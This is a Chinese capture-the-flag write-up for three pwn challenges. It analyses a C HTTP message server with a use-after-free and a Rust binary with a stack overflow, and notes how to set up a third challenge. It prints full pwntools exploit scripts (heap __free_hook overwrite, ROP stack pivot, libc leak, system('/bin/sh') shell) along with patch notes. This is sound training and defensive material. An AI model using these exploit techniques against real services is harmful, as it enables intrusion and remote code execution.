oooohMsgHTTP

c语言实现的 http 服务,和路由器固件的一样有个路由表:

  • /weclome :泄露出 pie
  • /login_user & /register_user :登录&注册
  • /add_message :申请堆块
  • /del_message :释放堆块。根据输入的 message_id 和登录时产生的用户标志判断是否有权限删除对应堆块。
  • /get_message :选中堆块,将堆块地址赋值到全局变量。根据输入的 secret 和身份标识来判断,当 secret 匹配且身份标识不匹配时,选中堆块。
  • /empty_message :释放选中的堆块,并置零全局变量。
  • /show_message : 输出选中的堆块内容
  • /exit : 退出当前用户,清空用户标识,但保留创建的堆块

从以上功能可以看出来存在 UAF 漏洞:用户 A 申请堆块 1 ,然后切换用户 B 选中堆块 1 ,接着换回用户 A 通过 del_message 释放堆块 1 ,最后用户 B 通过 show_message 泄露 bin 中堆块信息,empty_message 实现 double free 。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *

context.log_level='debug'

#p=process('./oooohMsgHTTP')
p=remote('172.16.9.2',9002)
elf=ELF('./oooohMsgHTTP')
libc=ELF('./libc-2.27.so')

p.recvuntil('=\n')
payload='''POST /welcome HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''
p.sendline(payload)
p.recvuntil('gift: ')
leak_addr=int(p.recv(14),16)

elf_base=leak_addr-0x1470
print hex(elf_base)

payload='''POST /register_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aa&password=bb"
p.sendline(payload)


payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aa&password=bb"
p.sendline(payload)



def add(size,message='a'*0xf0):
payload='''POST /add_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"size="+str(size)+"&message="+message
p.sendline(payload)
p.recvuntil('{"secret":')
secret=p.recvuntil(',"add',drop=True)
return secret

def delete(id):
payload='''POST /del_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"message_id="+str(id)
p.sendline(payload)

def edit(secret,message):
payload='''POST /edit_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"secret="+str(secret)+'&message='+str(message)
p.sendline(payload)

for i in range(13):
secret=add(0x90,'b'*0x90)
for i in range(13):
delete(i)
for i in range(8):
secret=add(0xf8,'c'*0xa8)
for i in range(7):
delete(i)


payload='''POST /register_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaa&password=bbb"
p.sendline(payload)


payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaa&password=bbb"
p.sendline(payload)


payload='''POST /get_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"secret="+str(secret)
p.sendline(payload)

payload=empty_message+"is_confirmed=yes"
p.sendline(payload)

payload='''POST /get_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"secret="+str(secret)
p.sendline(payload)

payload='''POST /show_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''
p.sendline(payload)


p.recvuntil('{"message":"')
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libcbase=leak_addr-0x3ebd50
print hex(libcbase)
malloc=libcbase+libc.sym['__free_hook']
for i in range(6):
secret=add(0xf8,'a'*0x18)
for i in range(5):
delete(i)


payload='''POST /register_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaaa&password=bbbb"
p.sendline(payload)

payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaaa&password=bbbb"
p.sendline(payload)

payload='''POST /get_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"secret="+str(secret)
p.sendline(payload)

payload='''POST /empty_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"is_confirmed=yes"
p.sendline(payload)

payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaa&password=bbb"
p.sendline(payload)


edit(secret,p64(malloc-0x10))

add(0xf8,'a'*0x18)
system_addr=libcbase+libc.sym['system']
payload=(p64(malloc)*8).ljust(0xf8,'a')

add(0xf8,p64(0x2222222222222222)*2+p64(system_addr))
payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=/bin/sh&password=/bin/sh\x00"
p.sendline(payload)

p.interactive()

patch

Get_message 之后将列表中的指针清空

Ruuuuust

程序分析

rust 语言写的程序,除了 canary 以外保护全开:

image-20210727160843876

rust 写的程序逆向分析会发现多了很多分支,通过动态调试辅助定位实现功能的函数。

在输入选择时中断程序,通过 gcc breakpoint 查看上层调用函数的地址,定位到 main 函数的地址为: 0x7C10

109 行开始就是 switch 判断进入对应功能的实现函数,switch 判断是输入值 +1 :

image-20210727161500295

set_name 和 show_name 两个功能啥问题,name size 限制小于 0x10 ,输入函数在 235 行的 read 函数。show name 的时候用 memcpy 复制到另外一个栈变量,然后再进行输出。

talk 询问 size 时,限制不大于 0xf8 :

image-20210727164513542

输入函数用的还是 235 行 read ,向栈上写入 0xb8 已经造成溢出:

image-20210727164854662

退出程序时:

image-20210727165230377

利用思路

rust 不能通过表调用函数,需要利用程序中的 call 片段。程序中有两种调用形式:

  • 直接 call write

    image-20210727170503707

  • 将 write 地址写入寄存器,然后 call 寄存器

    image-20210727170616512

栈溢出构造出一个 read 函数,向 bss+0x400 写入 write 和第二个 read 的利用链,再次栈迁移到 system 函数。

直接全局搜索 read_ptr 找调用 read 的片段,找到两个:

image-20210727220631042

0x1eac0 调用完还会调用其他函数,最后会 crash ;用 0x7dd0 调用后,配合 exit 时 r15 出栈操作,可以实现多一次调用:

image-20210727221241045

image-20210727220955684

1
2
3
4
5
6
# ===read(0,bss+0x500-8,0x400)
payload = 'a'*(0xb8-0x18)+p64(leave_ret)*2+p64(elf.bss()+0x500-8+elf_base)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(elf.bss()+0x500-8+elf_base)
payload += p64(pop_rdx_ret)+p64(0x400)+p64(0)
payload += p64(elf_base+0x7DD0)

write 泄露出 write@got 的地址,找 write 调用片段一样方法。gdb 调试 0x24F10 发现调用完后,会调用利用链 +8 的 gadget ,所以要加下填充。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# ===write(2,write_got,8)===
payload = p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdi_ret)+p64(2)
payload += p64(pop_rsi_ret)+p64(write_got)
#payload += p64(pop_rdx_ret)+p64(0x8)+p64(0)
payload += p64(pop_rbx_ret)+p64(elf.bss()+elf_base) #avoid crash
payload += p64(0x24F10+elf_base)

payload += p64(0xdeadbeef) #padding

# ===read(0,bss+0x400-8,0x400)===
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdx_ret)+p64(0x400)+p64(0)
payload += p64(elf_base+0x7DD0)

泄露出的不是 libc 地址,无伤大雅,那个地址和 libc 偏移固定的:

1
2
3
4
# ===leak libc===
write_leak = u64(p.recv(6).ljust(8,'\x00'))
log.info("write_leak:"+hex(write_leak))
libc_base = write_leak - (0x7ffff77a5360-0x7ffff719f000)#libc.sym['write']

最后需要用 ret 调整一下栈结构

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
context.log_level = 'debug'

p = process("./Ruuuuust")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libdl = ELF("/lib/x86_64-linux-gnu/libdl-2.27.so")
elf = ELF("./Ruuuuust")

'''
0x55555555acaa:welcome
0x55555555acd4:menu
0x55555555acef:input choice

===set name===
0x55555555bdd0:read(0,v7,v6)
===show name===
0x55555555c266:function(Name)
===talk with me===
0x55555555bdd0:read(0,v7,v6)

'''

def setname(name='a'*0x10):
p.sendlineafter("Your Choice: ",str(1))
p.sendlineafter("Your Size: ",str(len(name)))
p.sendafter("Your Name: ",name)
def showname():
p.sendlineafter("Your Choice: ",str(2))
def talk(content):
p.sendlineafter("Your Choice: ",str(3))
p.sendlineafter("Your Size: ",str(len(content)))
p.sendafter("want to say: ",content)
def show_show():
p.sendlineafter("Your Choice: ",str(4))
def my_exit():
p.sendlineafter("Your Choice: ",str(5))
def gift():
p.sendlineafter("Your Choice: ",str(23339999))

padding = 184

gdb.attach(p,"b *$rebase(0x3c31c)")
#gdb.attach(p,"b *0x55555559031c")
#gdb.attach(p,"b *0x55555555c34d")
#gdb.attach(p,"b *$rebase(0x1C03D)")
pause()

# ===leak elf base===
gift()
p.recvuntil("gift: ")
leak_addr = int(p.recvuntil('\n',drop=1),16)
elf_base = leak_addr - (0x555555591758-0x555555554000)
log.info("elf_base:"+hex(elf_base))

pop_rdi_ret = elf_base+0x00000000000061de
pop_rsi_ret = elf_base+0x00000000000062a7
pop_rdx_ret = elf_base+0x0000000000008d93
pop_rbx_ret = elf_base+0x0000000000006d38
leave_ret = elf_base+0x000000000003c31c
ret = elf_base+0x0000000000006016

write_got = elf.sym['write']+elf_base

setname('skye'*4)
showname()

# ===overflow size===
#payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaac'


# ===read(0,bss+0x500-8,0x400)
payload = 'a'*(0xb8-0x18)+p64(leave_ret)*2+p64(elf.bss()+0x500-8+elf_base)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(elf.bss()+0x500-8+elf_base)
payload += p64(pop_rdx_ret)+p64(0x400)+p64(0)
payload += p64(elf_base+0x7DD0)
talk(payload)
my_exit()

# ===write(2,write_got,8)===
'''
payload = 'a'*(0xb8-8-8*6)+p64(elf.bss()+0x500+elf_base)*7
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(write_got)
payload += p64(elf_base+0x24F10)
'''
payload = p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdi_ret)+p64(2)
payload += p64(pop_rsi_ret)+p64(write_got)
#payload += p64(pop_rdx_ret)+p64(0x8)+p64(0)
payload += p64(pop_rbx_ret)+p64(elf.bss()+elf_base) #avoid crash
payload += p64(0x24F10+elf_base)

payload += p64(0xdeadbeef) #padding

# ===read(0,bss+0x400-8,0x400)===
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdx_ret)+p64(0x400)+p64(0)
payload += p64(elf_base+0x7DD0)

sleep(0.2)
p.send(payload)

# ===leak libc===
write_leak = u64(p.recv(6).ljust(8,'\x00'))
log.info("write_leak:"+hex(write_leak))
libc_base = write_leak - (0x7ffff77a5360-0x7ffff719f000)#libc.sym['write']
log.info("libc_base:"+hex(libc_base))
system_addr = libc_base + libc.sym['system']
log.info("system_addr:"+hex(system_addr))
binsh_str = libc_base + libc.search('/bin/sh').next()

# ===system(/bin/sh)===
payload = p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdi_ret)+p64(binsh_str)
payload += p64(ret)
payload += p64(system_addr)
sleep(0.2)
p.send(payload)

p.interactive()

patch

将可输入长度减少:

image-20210728095414141

image-20210728095518860

加固后:

image-20210728095547770

总结

  • rust 语言反编译后会多了很多分支、函数,实现功能的函数都找不到,需要结合动态调试调试。字符串定位啥的都不太可靠了,函数、字符串指针绕几层才是到被调用的地方
  • rust 因为指针绕几层才是函数体,不能和 c 一样通过表调用函数,需要找程序中 call 的片段

mypypy

运行环境

避免破坏虚拟机环境,用 docker 来部署题目本地环境。创建一个名为 ctf 的用户,然后把 libgcc1-dbg 和 python3 装上,将源码中启动的 chroot 注释了,因为 docker 启动时会用 ctf 用户,不需要再 chroot 更换根路径了。

题目及 docker 文件下载地址:

启动命令:docker-compose up -d ,挂载端口 12000